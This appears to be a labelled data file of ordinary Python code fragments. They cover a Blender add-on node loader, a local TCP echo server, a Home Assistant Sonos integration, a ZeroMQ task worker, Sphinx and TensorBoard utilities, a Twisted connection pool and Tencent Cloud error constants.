nodes: mark_old(node) def mark_old(node): if node.parent and node.parent.label == ""Deprecated node!"": return ng = node.id_data frame = ng.nodes.new(""NodeFrame"") if node.parent: frame.parent = node.parent node.parent = frame frame.label = ""Deprecated node!"" frame.use_custom_color = True frame.color = (.8, 0, 0) frame.shrink = True def reload_old(ng=False): if ng: bl_idnames = {n.bl_idname for n in ng.nodes if n.bl_idname in old_bl_idnames} for bl_id in bl_idnames: mod = register_old(bl_id) if mod: importlib.reload(mod) else: print(""Couldn't reload {}"".format(bl_id)) else: for ng in bpy.data.node_groups: reload_old(ng) #if ng.bl_idname in { 'SverchCustomTreeType', 'SverchGroupTreeType'}: # reload_old(ng) def load_old(ng): """""" This approach didn't work, bl_idname of undefined node isn't as I expected bl_idnames = {n.bl_idname for n in ng.nodes} old_bl_ids = bl_idnames.intersection(old_bl_idnames) if old_bl_ids: """""" not_reged_nodes = list(n for n in ng.nodes if not n.is_registered_node_type()) if not_reged_nodes: for bl_id in old_bl_idnames: register_old(bl_id) nodes = [n for n in ng.nodes if n.bl_idname == bl_id] if nodes: for node in nodes: mark_old(node) not_reged_nodes = list(n for n in ng.nodes if not n.is_registered_node_type()) node_count = len(not_reged_nodes) print(""Loaded {}. {} nodes are left unregisted."".format(bl_id, node_count)) if node_count == 0: return else: # didn't help remove unregister_old(bl_id) def register_old(bl_id): if bl_id in old_bl_idnames: mod = importlib.import_module("".{}"".format(old_bl_idnames[bl_id]), __name__) res = inspect.getmembers(mod) for name, cls in res: if inspect.isclass(cls): if issubclass(cls, bpy.types.Node) and cls.bl_idname == bl_id: if bl_id not in imported_mods: try: mod.register() except: traceback.print_exc() imported_mods[bl_id] = mod return mod print(""Cannot find {} among old nodes"".format(bl_id)) return None def unregister_old(bl_id): global imported_mods mod = imported_mods.get(bl_id) if mod: #print(""Unloaded old node type {}"".format(bl_id)) mod.unregister() del imported_mods[bl_id] def unregister(): global imported_mods print(imported_mods) for mod in imported_mods.values(): mod.unregister() imported_mods = {} ",1 "me!') while True: data = sock.recv(1024) time.sleep(1) if data == 'exit' or not data: break sock.send('Hello, %s!' % data) sock.close() print 'Connection from %s:%s closed.' % addr s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('127.0.0.1', 8888)) s.listen(5) print 'Waiting for connection...' while True: sock, addr = s.accept() t = threading.Thread(target=tcplink, args=(sock, addr)) t.start() ",1 "tant.io/components/media_player.sonos/ """""" import datetime import logging from os import path import socket import urllib import voluptuous as vol from homeassistant.components.media_player import ( ATTR_MEDIA_ENQUEUE, DOMAIN, MEDIA_TYPE_MUSIC, SUPPORT_NEXT_TRACK, SUPPORT_PAUSE, SUPPORT_PLAY_MEDIA, SUPPORT_PREVIOUS_TRACK, SUPPORT_SEEK, SUPPORT_VOLUME_MUTE, SUPPORT_VOLUME_SET, SUPPORT_CLEAR_PLAYLIST, SUPPORT_SELECT_SOURCE, MediaPlayerDevice) from homeassistant.const import ( STATE_IDLE, STATE_PAUSED, STATE_PLAYING, STATE_UNKNOWN, STATE_OFF, ATTR_ENTITY_ID) from homeassistant.config import load_yaml_config_file import homeassistant.helpers.config_validation as cv REQUIREMENTS = ['SoCo==0.12'] _LOGGER = logging.getLogger(__name__) # The soco library is excessively chatty when it comes to logging and # causes a LOT of spam in the logs due to making a http connection to each # speaker every 10 seconds. Quiet it down a bit to just actual problems. _SOCO_LOGGER = logging.getLogger('soco') _SOCO_LOGGER.setLevel(logging.ERROR) _REQUESTS_LOGGER = logging.getLogger('requests') _REQUESTS_LOGGER.setLevel(logging.ERROR) SUPPORT_SONOS = SUPPORT_PAUSE | SUPPORT_VOLUME_SET | SUPPORT_VOLUME_MUTE |\ SUPPORT_PREVIOUS_TRACK | SUPPORT_NEXT_TRACK | SUPPORT_PLAY_MEDIA |\ SUPPORT_SEEK | SUPPORT_CLEAR_PLAYLIST | SUPPORT_SELECT_SOURCE SERVICE_GROUP_PLAYERS = 'sonos_group_players' SERVICE_UNJOIN = 'sonos_unjoin' SERVICE_SNAPSHOT = 'sonos_snapshot' SERVICE_RESTORE = 'sonos_restore' SERVICE_SET_TIMER = 'sonos_set_sleep_timer' SERVICE_CLEAR_TIMER = 'sonos_clear_sleep_timer' SUPPORT_SOURCE_LINEIN = 'Line-in' SUPPORT_SOURCE_TV = 'TV' # Service call validation schemas ATTR_SLEEP_TIME = 'sleep_time' SONOS_SCHEMA = vol.Schema({ ATTR_ENTITY_ID: cv.entity_ids, }) SONOS_SET_TIMER_SCHEMA = SONOS_SCHEMA.extend({ vol.Required(ATTR_SLEEP_TIME): vol.All(vol.Coerce(int), vol.Range(min=0, max=86399)) }) # List of devices that have been registered DEVICES = [] # pylint: disable=unused-argument, too-many-locals def setup_platform(hass, config, add_devices, discovery_info=None): """"""Setup the Sonos platform."""""" import soco global DEVICES if discovery_info: player = soco.SoCo(discovery_info) # if device allready exists by config if player.uid in DEVICES: return True if player.is_visible: device = SonosDevice(hass, player) add_devices([device]) if not DEVICES: register_services(hass) DEVICES.append(device) return True return False players = None hosts = config.get('hosts', None) if hosts: # Support retro compatibility with comma separated list of hosts # from config hosts = hosts.split(',') if isinstance(hosts, str) else hosts players = [] for host in hosts: players.append(soco.SoCo(socket.gethostbyname(host))) if not players: players = soco.discover(interface_addr=config.get('interface_addr', None)) if not players: _LOGGER.warning('No Sonos speakers found.') return False DEVICES = [SonosDevice(hass, p) for p in players] add_devices(DEVICES) register_services(hass) _LOGGER.info('Added %s Sonos speakers', len(players)) return True def register_services(hass): """"""Register all services for sonos devices."""""" descriptions = load_yaml_config_file( path.join(path.dirname(__file__), 'services.yaml')) hass.services.register(DOMAIN, SERVICE_GROUP_PLAYERS, _group_players_service, descriptions.get(SERVICE_GROUP_PLAYERS), schema=SONOS_SCHEMA) hass.services.register(DOMAIN, SERVICE_UNJOIN, _unjoin_service, descriptions.get(SERVICE_UNJOIN), schema=SONOS_SCHEMA) hass.services.register(DOMAIN, SERVICE_SNAPSHOT, _snapshot_service, descriptions.get(SERVICE_SNAPSHOT), schema=SONOS_SCHEMA) hass.services.register(DOMAIN, SERVICE_RESTORE, _restore_service, descriptions.get(SERVICE_RESTORE), schema=SONOS_SCHEMA) hass.services.register(DOMAIN, SERVICE_SET_TIMER, _set_sleep_timer_service, descriptions.get(SERVICE_SET_TIMER), schema=SONOS_SET_TIMER_SCHEMA) hass.services.register(DOMAIN, SERVICE_CLEAR_TIMER, _clear_sleep_timer_service, descriptions.get(SERVICE_CLEAR_TIMER), schema=SONOS_SCHEMA) def _apply_service(service, service_func, *service_func_args): """"""Internal func for applying a service."""""" entity_ids = service.data.get('entity_id') if entity_ids: _devices = [device for device in DEVICES if device.entity_id in entity_ids] else: _devices = DEVICES for device in _devices: service_func(device, *service_func_args) device.update_ha_state(True) def _group_players_service(service): """"""Group media players, use player as coordinator."""""" _apply_service(service, SonosDevice.group_players) def _unjoin_service(service): """"""Unjoin the player from a group."""""" _apply_service(service, SonosDevice.unjoin) def _snapshot_service(service): """"""Take a snapshot."""""" _apply_service(service, SonosDevice.snapshot) def _restore_service(service): """"""Restore a snapshot."""""" _apply_service(service, SonosDevice.restore) def _set_sleep_timer_service(service): """"""Set a timer."""""" _apply_service(service, SonosDevice.set_sleep_timer, service.data[ATTR_SLEEP_TIME]) def _clear_sleep_timer_service(service): """"""Set a timer."""""" _apply_service(service, SonosDevice.clear_sleep_timer) def only_if_coordinator(func): """"""Decorator for coordinator. If used as decorator, avoid calling the decorated method if player is not a coordinator. If not, a grouped speaker (not in coordinator role) will throw soco.exceptions.SoCoSlaveException. Also, partially catch exceptions like: soco.exceptions.SoCoUPnPException: UPnP Error 701 received: Transition not available from """""" def wrapper(*args, **kwargs): """"""Decorator wrapper."""""" if args[0].is_coordinator: from soco.exceptions import SoCoUPnPException try: func(*args, **kwargs) except SoCoUPnPException: _LOGGER.error('command ""%s"" for Sonos device ""%s"" ' 'not available in this mode', func.__name__, args[0].name) else: _LOGGER.debug('Ignore command ""%s"" for Sonos device ""%s"" (%s)', func.__name__, args[0].name, 'not coordinator') return wrapper # pylint: disable=too-many-instance-attributes, too-many-public-methods # pylint: disable=abstract-method class SonosDevice(MediaPlayerDevice): """"""Representation of a Sonos device."""""" # pylint: disable=too-many-arguments def __init__(self, hass, player): """"""Initialize the Sonos device."""""" from soco.snapshot import Snapshot self.hass = hass self.volume_increment = 5 self._player = player self._speaker_info = None self._name = None self._coordinator = None self._media_content_id = None self._media_duration = None self._media_image_url = None self._media_artist = None self._media_album_name = None self._media_title = None self.update() self.soco_snapshot = Snapshot(self._player) @property def should_poll(self): """"""Polling needed."""""" return True def update_sonos(self, now): """"""Update state, called by track_utc_time_change."""""" self.update_ha_state(True) @property def unique_id(self): """"""Return an unique ID."""""" return self._player.uid @property def name(self): """"""Return the name of the device."""""" return self._name @property def state(self): """"""Return the state of the device."""""" if self._status == 'PAUSED_PLAYBACK': return STATE_PAUSED if self._status == 'PLAYING': return STATE_PLAYING if self._status == 'STOPPED': return STATE_IDLE if self._status == 'OFF': return STATE_OFF return STATE_UNKNOWN @property def is_coordinator(self): """"""Return true if player is a coordinator."""""" return self._player.is_coordinator def update(self): """"""Retrieve latest state."""""" self._speaker_info = self._player.get_speaker_info() self._name = self._speaker_info['zone_name'].replace( ' (R)', '').replace(' (L)', '') if self.available: self._status = self._player.get_current_transport_info().get( 'current_transport_state') trackinfo = self._player.get_current_track_info() if trackinfo['uri'].startswith('x-rincon:'): # this speaker is a slave, find the coordinator # the uri of the track is 'x-rincon:{coordinator-id}' coordinator_id = trackinfo['uri'][9:] coordinators = [device for device in DEVICES if device.unique_id == coordinator_id] self._coordinator = coordinators[0] if coordinators else None else: self._coordinator = None if not self._coordinator: mediainfo = self._player.avTransport.GetMediaInfo([ ('InstanceID', 0) ]) duration = trackinfo.get('duration', '0:00') # if the speaker is playing from the ""line-in"" source, getting # track metadata can return NOT_IMPLEMENTED, which breaks the # volume logic below if duration == 'NOT_IMPLEMENTED': duration = None else: duration = sum(60 ** x[0] * int(x[1]) for x in enumerate( reversed(duration.split(':')))) media_image_url = trackinfo.get('album_art', None) media_artist = trackinfo.get('artist', None) media_album_name = trackinfo.get('album', None) media_title = trackinfo.get('title', None) if media_image_url in ('', 'NOT_IMPLEMENTED', None): # fallback to asking the speaker directly media_image_url = \ 'http://{host}:{port}/getaa?s=1&u={uri}'.format( host=self._player.ip_address, port=1400, uri=urllib.parse.quote(mediainfo['CurrentURI']) ) if media_artist in ('', 'NOT_IMPLEMENTED', None): # if listening to a radio stream the media_artist field # will be empty and the title field will contain the # filename that is being streamed current_uri_metadata = mediainfo[""CurrentURIMetaData""] if current_uri_metadata not in \ ('', 'NOT_IMPLEMENTED', None): # currently soco does not have an API for this import soco current_uri_metadata = soco.xml.XML.fromstring( soco.utils.really_utf8(current_uri_metadata)) md_title = current_uri_metadata.findtext( './/{http://purl.org/dc/elements/1.1/}title') if md_title not in ('', 'NOT_IMPLEMENTED', None): media_artist = '' media_title = md_title self._media_content_id = trackinfo.get('title', None) self._media_duration = duration self._media_image_url = media_image_url self._media_artist = media_artist self._media_album_name = media_album_name self._media_title = media_title else: self._status = 'OFF' self._coordinator = None self._media_content_id = None self._media_duration = None self._media_image_url = None self._media_artist = None self._media_album_name = None self._media_title = None @property def volume_level(self): """"""Volume level of the media player (0..1)."""""" return self._player.volume / 100.0 @property def is_volume_muted(self): """"""Return true if volume is muted."""""" return self._player.mute @property def media_content_id(self): """"""Content ID of current playing media."""""" if self._coordinator: return self._coordinator.media_content_id else: return self._media_content_id @property def media_content_type(self): """"""Content type of current playing media."""""" return MEDIA_TYPE_MUSIC @property def media_duration(self): """"""Duration of current playing media in seconds."""""" if self._coordinator: return self._coordinator.media_duration else: return self._media_duration @property def media_image_url(self): """"""Image url of current playing media."""""" if self._coordinator: return self._coordinator.media_image_url else: return self._media_image_url @property def media_artist(self): """"""Artist of current playing media, music track only."""""" if self._coordinator: return self._coordinator.media_artist else: return self._media_artist @property def media_album_name(self): """"""Album name of current playing media, music track only."""""" if self._coordinator: return self._coordinator.media_album_name else: return self._media_album_name @property def media_title(self): """"""Title of current playing media."""""" if self._player.is_playing_line_in: return SUPPORT_SOURCE_LINEIN if self._player.is_playing_tv: return SUPPORT_SOURCE_TV if self._coordinator: return self._coordinator.media_title else: return self._media_title @property def supported_media_commands(self): """"""Flag of media commands that are supported."""""" if not self.source_list: # some devices do not allow source selection return SUPPORT_SONOS ^ SUPPORT_SELECT_SOURCE return SUPPORT_SONOS def volume_up(self): """"""Volume up media player."""""" self._player.volume += self.volume_increment def volume_down(self): """"""Volume down media player."""""" self._player.volume -= self.volume_increment def set_volume_level(self, volume): """"""Set volume level, range 0..1."""""" self._player.volume = str(int(volume * 100)) def mute_volume(self, mute): """"""Mute (true) or unmute (false) media player."""""" self._player.mute = mute def select_source(self, source): """"""Select input source."""""" if source == SUPPORT_SOURCE_LINEIN: self._player.switch_to_line_in() elif source == SUPPORT_SOURCE_TV: self._player.switch_to_tv() @property def source_list(self): """"""List of available input sources."""""" model_name = self._speaker_info['model_name'] if 'PLAY:5' in model_name: return [SUPPORT_SOURCE_LINEIN] elif 'PLAYBAR' in model_name: return [SUPPORT_SOURCE_LINEIN, SUPPORT_SOURCE_TV] @property def source(self): """"""Name of the current input source."""""" if self._player.is_playing_line_in: return SUPPORT_SOURCE_LINEIN if self._player.is_playing_tv: return SUPPORT_SOURCE_TV return None @only_if_coordinator def turn_off(self): """"""Turn off media player."""""" self._player.pause() def media_play(self): """"""Send play command."""""" if self._coordinator: self._coordinator.media_play() else: self._player.play() def media_pause(self): """"""Send pause command."""""" if self._coordinator: self._coordinator.media_pause() else: self._player.pause() def media_next_track(self): """"""Send next track command."""""" if self._coordinator: self._coordinator.media_next_track() else: self._player.next() def media_previous_track(self): """"""Send next track command."""""" if self._coordinator: self._coordinator.media_previous_track() else: self._player.previous() def media_seek(self, position): """"""Send seek command."""""" if self._coordinator: self._coordinator.media_seek(position) else: self._player.seek(str(datetime.timedelta(seconds=int(position)))) def clear_playlist(self): """"""Clear players playlist."""""" if self._coordinator: self._coordinator.clear_playlist() else: self._player.clear_queue() @only_if_coordinator def turn_on(self): """"""Turn the media player on."""""" self._player.play() def play_media(self, media_type, media_id, **kwargs): """""" Send the play_media command to the media player. If ATTR_MEDIA_ENQUEUE is True, add `media_id` to the queue. """""" if self._coordinator: self._coordinator.play_media(media_type, media_id, **kwargs) else: if kwargs.get(ATTR_MEDIA_ENQUEUE): from soco.exceptions import SoCoUPnPException try: self._player.add_uri_to_queue(media_id) except SoCoUPnPException: _LOGGER.error('Error parsing media uri ""%s"", ' ""please check it's a valid media resource "" 'supported by Sonos', media_id) else: self._player.play_uri(media_id) def group_players(self): """"""Group all players under this coordinator."""""" if self._coordinator: self._coordinator.group_players() else: self._player.partymode() @only_if_coordinator def unjoin(self): """"""Unjoin the player from a group."""""" self._player.unjoin() @only_if_coordinator def snapshot(self): """"""Snapshot the player."""""" self.soco_snapshot.snapshot() @only_if_coordinator def restore(self): """"""Restore snapshot for the player."""""" self.soco_snapshot.restore(True) @only_if_coordinator def set_sleep_timer(self, sleep_time): """"""Set the timer on the player."""""" self._player.set_sleep_timer(sleep_time) @only_if_coordinator def clear_sleep_timer(self): """"""Clear the timer on the player."""""" self._player.set_sleep_timer(None) @property def available(self): """"""Return True if player is reachable, False otherwise."""""" try: sock = socket.create_connection( address=(self._player.ip_address, 1443), timeout=3) sock.close() return True except socket.error: return False ",1 "trations.models import Registration from registrations import handlers from registrations import tasks class Command(BaseCommand): def log(self, message): f = open(settings.TASK_LOG_PATH, 'a') now = datetime.datetime.utcnow().replace(tzinfo=pytz.utc) log_message = ""%s\t%s\n"" % (now, message) self.stdout.write(log_message) f.write(log_message) f.close() def handle(self, *args, **options): context = zmq.Context() pull_socket = context.socket(zmq.PULL) pull_socket.bind('tcp://*:7002') self.log(""Registration Worker ZMQ Socket Bound to 7002"") while True: try: data = pull_socket.recv_json() task_name = data.pop('task') task_kwargs = data.pop('kwargs') self.log(""Got task '%s' with kwargs: %s"" % (task_name, task_kwargs)) if hasattr(tasks, task_name): result = getattr(tasks, task_name)(**task_kwargs) self.log(""Task '%s' result: %s"" % (task_name, result)) else: self.log(""Received unknown task: %s"", task_name) except Exception, e: self.log(""Error: %s"" % e) pull_socket.close() context.term() ",1 "9 22:26:36 2013. # # This file is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. import sys import os from unittest.mock import MagicMock class Mock(MagicMock): @classmethod def __getattr__(cls, name): return MagicMock() MOCK_MODULES = ['face_recognition_models', 'Click', 'dlib', 'numpy', 'PIL'] sys.modules.update((mod_name, Mock()) for mod_name in MOCK_MODULES) # If extensions (or modules to document with autodoc) are in another # directory, add these directories to sys.path here. If the directory is # relative to the documentation root, use os.path.abspath to make it # absolute, like shown here. #sys.path.insert(0, os.path.abspath('.')) # Get the project root dir, which is the parent dir of this cwd = os.getcwd() project_root = os.path.dirname(cwd) # Insert the project root dir as the first element in the PYTHONPATH. # This lets us ensure that the source package is imported, and that its # version is used. sys.path.insert(0, project_root) import face_recognition # -- General configuration --------------------------------------------- # If your documentation needs a minimal Sphinx version, state it here. #needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom ones. extensions = ['sphinx.ext.autodoc', 'sphinx.ext.viewcode'] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix of source filenames. source_suffix = '.rst' # The encoding of source files. #source_encoding = 'utf-8-sig' # The master toctree document. master_doc = 'index' # General information about the project. project = u'Face Recognition' copyright = u""2017, Adam Geitgey"" # The version info for the project you're documenting, acts as replacement # for |version| and |release|, also used in various other places throughout # the built documents. # # The short X.Y version. version = face_recognition.__version__ # The full version, including alpha/beta/rc tags. release = face_recognition.__version__ # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. #language = None # There are two options for replacing |today|: either, you set today to # some non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. #today_fmt = '%B %d, %Y' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns = ['_build'] # The reST default role (used for this markup: `text`) to use for all # documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # A list of ignored prefixes for module index sorting. #modindex_common_prefix = [] # If true, keep warnings as ""system message"" paragraphs in the built # documents. #keep_warnings = False # -- Options for HTML output ------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. html_theme = 'default' # Theme options are theme-specific and customize the look and feel of a # theme further. For a list of options available for each theme, see the # documentation. #html_theme_options = {} # Add any paths that contain custom themes here, relative to this directory. #html_theme_path = [] # The name for this set of Sphinx documents. If None, it defaults to # "" v documentation"". #html_title = None # A shorter title for the navigation bar. Default is the same as # html_title. #html_short_title = None # The name of an image file (relative to this directory) to place at the # top of the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon # of the docs. This file should be a Windows icon file (.ico) being # 16x16 or 32x32 pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) # here, relative to this directory. They are copied after the builtin # static files, so a file named ""default.css"" will overwrite the builtin # ""default.css"". html_static_path = ['_static'] # If not '', a 'Last updated on:' timestamp is inserted at every page # bottom, using the given strftime format. #html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names # to template names. #html_additional_pages = {} # If false, no module index is generated. #html_domain_indices = True # If false, no index is generated. #html_use_index = True # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, links to the reST sources are added to the pages. #html_show_sourcelink = True # If true, ""Created using Sphinx"" is shown in the HTML footer. # Default is True. #html_show_sphinx = True # If true, ""(C) Copyright ..."" is shown in the HTML footer. # Default is True. #html_show_copyright = True # If true, an OpenSearch description file will be output, and all pages # will contain a tag referring to it. The value of this option # must be the base URL from which the finished HTML is served. #html_use_opensearch = '' # This is the file name suffix for HTML files (e.g. "".xhtml""). #html_file_suffix = None # Output file base name for HTML help builder. htmlhelp_basename = 'face_recognitiondoc' # -- Options for LaTeX output ------------------------------------------ latex_elements = { # The paper size ('letterpaper' or 'a4paper'). #'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). #'pointsize': '10pt', # Additional stuff for the LaTeX preamble. #'preamble': '', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, documentclass # [howto/manual]). latex_documents = [ ('index', 'face_recognition.tex', u'Face Recognition Documentation', u'Adam Geitgey', 'manual'), ] # The name of an image file (relative to this directory) to place at # the top of the title page. #latex_logo = None # For ""manual"" documents, if this is true, then toplevel headings # are parts, not chapters. #latex_use_parts = False # If true, show page references after internal links. #latex_show_pagerefs = False # If true, show URL addresses after external links. #latex_show_urls = False # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. #latex_domain_indices = True # -- Options for manual page output ------------------------------------ # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ ('index', 'face_recognition', u'Face Recognition Documentation', [u'Adam Geitgey'], 1) ] # If true, show URL addresses after external links. #man_show_urls = False # -- Options for Texinfo output ---------------------------------------- # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ ('index', 'face_recognition', u'Face Recognition Documentation', u'Adam Geitgey', 'face_recognition', 'One line description of project.', 'Miscellaneous'), ] # Documents to append as an appendix to all manuals. #texinfo_appendices = [] # If false, no module index is generated. #texinfo_domain_indices = True # How to display URL addresses: 'footnote', 'no', or 'inline'. #texinfo_show_urls = 'footnote' # If true, do not generate a @detailmenu in the ""Top"" node's menu. #texinfo_no_detailmenu = False ",1 "is file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """"""Generate some standard test data for debugging TensorBoard. """""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import bisect import math import os import os.path import random import shutil import numpy as np from six.moves import xrange # pylint: disable=redefined-builtin import tensorflow as tf tf.flags.DEFINE_string(""target"", None, """"""The directoy where serialized data will be written"""""") tf.flags.DEFINE_boolean(""overwrite"", False, """"""Whether to remove and overwrite TARGET if it already exists."""""") FLAGS = tf.flags.FLAGS # Hardcode a start time and reseed so script always generates the same data. _start_time = 0 random.seed(0) def _MakeHistogramBuckets(): v = 1E-12 buckets = [] neg_buckets = [] while v < 1E20: buckets.append(v) neg_buckets.append(-v) v *= 1.1 # Should include DBL_MAX, but won't bother for test data. return neg_buckets[::-1] + [0] + buckets def _MakeHistogram(values): """"""Convert values into a histogram proto using logic from histogram.cc."""""" limits = _MakeHistogramBuckets() counts = [0] * len(limits) for v in values: idx = bisect.bisect_left(limits, v) counts[idx] += 1 limit_counts = [(limits[i], counts[i]) for i in xrange(len(limits)) if counts[i]] bucket_limit = [lc[0] for lc in limit_counts] bucket = [lc[1] for lc in limit_counts] sum_sq = sum(v * v for v in values) return tf.HistogramProto(min=min(values), max=max(values), num=len(values), sum=sum(values), sum_squares=sum_sq, bucket_limit=bucket_limit, bucket=bucket) def WriteScalarSeries(writer, tag, f, n=5): """"""Write a series of scalar events to writer, using f to create values."""""" step = 0 wall_time = _start_time for i in xrange(n): v = f(i) value = tf.Summary.Value(tag=tag, simple_value=v) summary = tf.Summary(value=[value]) event = tf.Event(wall_time=wall_time, step=step, summary=summary) writer.add_event(event) step += 1 wall_time += 10 def WriteHistogramSeries(writer, tag, mu_sigma_tuples, n=20): """"""Write a sequence of normally distributed histograms to writer."""""" step = 0 wall_time = _start_time for [mean, stddev] in mu_sigma_tuples: data = [random.normalvariate(mean, stddev) for _ in xrange(n)] histo = _MakeHistogram(data) summary = tf.Summary(value=[tf.Summary.Value(tag=tag, histo=histo)]) event = tf.Event(wall_time=wall_time, step=step, summary=summary) writer.add_event(event) step += 10 wall_time += 100 def WriteImageSeries(writer, tag, n_images=1): """"""Write a few dummy images to writer."""""" step = 0 session = tf.Session() p = tf.placeholder(""uint8"", (1, 4, 4, 3)) s = tf.image_summary(tag, p) for _ in xrange(n_images): im = np.random.random_integers(0, 255, (1, 4, 4, 3)) summ = session.run(s, feed_dict={p: im}) writer.add_summary(summ, step) step += 20 session.close() def WriteAudioSeries(writer, tag, n_audio=1): """"""Write a few dummy audio clips to writer."""""" step = 0 session = tf.Session() min_frequency_hz = 440 max_frequency_hz = 880 sample_rate = 4000 duration_frames = sample_rate * 0.5 # 0.5 seconds. frequencies_per_run = 1 num_channels = 2 p = tf.placeholder(""float32"", (frequencies_per_run, duration_frames, num_channels)) s = tf.audio_summary(tag, p, sample_rate) for _ in xrange(n_audio): # Generate a different frequency for each channel to show stereo works. frequencies = np.random.random_integers( min_frequency_hz, max_frequency_hz, size=(frequencies_per_run, num_channels)) tiled_frequencies = np.tile(frequencies, (1, duration_frames)) tiled_increments = np.tile( np.arange(0, duration_frames), (num_channels, 1)).T.reshape( 1, duration_frames * num_channels) tones = np.sin(2.0 * np.pi * tiled_frequencies * tiled_increments / sample_rate) tones = tones.reshape(frequencies_per_run, duration_frames, num_channels) summ = session.run(s, feed_dict={p: tones}) writer.add_summary(summ, step) step += 20 session.close() def GenerateTestData(path): """"""Generates the test data directory."""""" run1_path = os.path.join(path, ""run1"") os.makedirs(run1_path) writer1 = tf.train.SummaryWriter(run1_path) WriteScalarSeries(writer1, ""foo/square"", lambda x: x * x) WriteScalarSeries(writer1, ""bar/square"", lambda x: x * x) WriteScalarSeries(writer1, ""foo/sin"", math.sin) WriteScalarSeries(writer1, ""foo/cos"", math.cos) WriteHistogramSeries(writer1, ""histo1"", [[0, 1], [0.3, 1], [0.5, 1], [0.7, 1], [1, 1]]) WriteImageSeries(writer1, ""im1"") WriteImageSeries(writer1, ""im2"") WriteAudioSeries(writer1, ""au1"") run2_path = os.path.join(path, ""run2"") os.makedirs(run2_path) writer2 = tf.train.SummaryWriter(run2_path) WriteScalarSeries(writer2, ""foo/square"", lambda x: x * x * 2) WriteScalarSeries(writer2, ""bar/square"", lambda x: x * x * 3) WriteScalarSeries(writer2, ""foo/cos"", lambda x: math.cos(x) * 2) WriteHistogramSeries(writer2, ""histo1"", [[0, 2], [0.3, 2], [0.5, 2], [0.7, 2], [1, 2]]) WriteHistogramSeries(writer2, ""histo2"", [[0, 1], [0.3, 1], [0.5, 1], [0.7, 1], [1, 1]]) WriteImageSeries(writer2, ""im1"") WriteAudioSeries(writer2, ""au2"") graph_def = tf.GraphDef() node1 = graph_def.node.add() node1.name = ""a"" node1.op = ""matmul"" node2 = graph_def.node.add() node2.name = ""b"" node2.op = ""matmul"" node2.input.extend([""a:0""]) writer1.add_graph(graph_def) node3 = graph_def.node.add() node3.name = ""c"" node3.op = ""matmul"" node3.input.extend([""a:0"", ""b:0""]) writer2.add_graph(graph_def) writer1.close() writer2.close() def main(unused_argv=None): target = FLAGS.target if not target: print(""The --target flag is required."") return -1 if os.path.exists(target): if FLAGS.overwrite: if os.path.isdir(target): shutil.rmtree(target) else: os.remove(target) else: print(""Refusing to overwrite target %s without --overwrite"" % target) return -2 GenerateTestData(target) if __name__ == ""__main__"": tf.app.run() ",1 "ool def default_reactor(reactor): """""" Return the specified reactor or the default. """""" if reactor is None: from twisted.internet import reactor return reactor _global_pool = [None] def get_global_pool(): return _global_pool[0] def set_global_pool(pool): _global_pool[0] = pool def default_pool(reactor, pool, persistent): """""" Return the specified pool or a a pool with the specified reactor and persistence. """""" reactor = default_reactor(reactor) if pool is not None: return pool if persistent is False: return HTTPConnectionPool(reactor, persistent=persistent) if get_global_pool() is None: set_global_pool(HTTPConnectionPool(reactor, persistent=True)) return get_global_pool() ",1 "on 2.0 (the ""License""); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # 操作失败。 FAILEDOPERATION = 'FailedOperation' # API网关触发器创建失败。 FAILEDOPERATION_APIGATEWAY = 'FailedOperation.ApiGateway' # 创建触发器失败。 FAILEDOPERATION_APIGW = 'FailedOperation.Apigw' # 获取Apm InstanceId失败。 FAILEDOPERATION_APMCONFIGINSTANCEID = 'FailedOperation.ApmConfigInstanceId' # 当前异步事件状态不支持此操作,请稍后重试。 FAILEDOPERATION_ASYNCEVENTSTATUS = 'FailedOperation.AsyncEventStatus' # 复制函数失败。 FAILEDOPERATION_COPYFAILED = 'FailedOperation.CopyFailed' # 不支持复制到该地域。 FAILEDOPERATION_COPYFUNCTION = 'FailedOperation.CopyFunction' # 操作COS资源失败。 FAILEDOPERATION_COS = 'FailedOperation.Cos' # 创建别名失败。 FAILEDOPERATION_CREATEALIAS = 'FailedOperation.CreateAlias' # 操作失败。 FAILEDOPERATION_CREATEFUNCTION = 'FailedOperation.CreateFunction' # 创建命名空间失败。 FAILEDOPERATION_CREATENAMESPACE = 'FailedOperation.CreateNamespace' # 当前函数状态无法进行此操作。 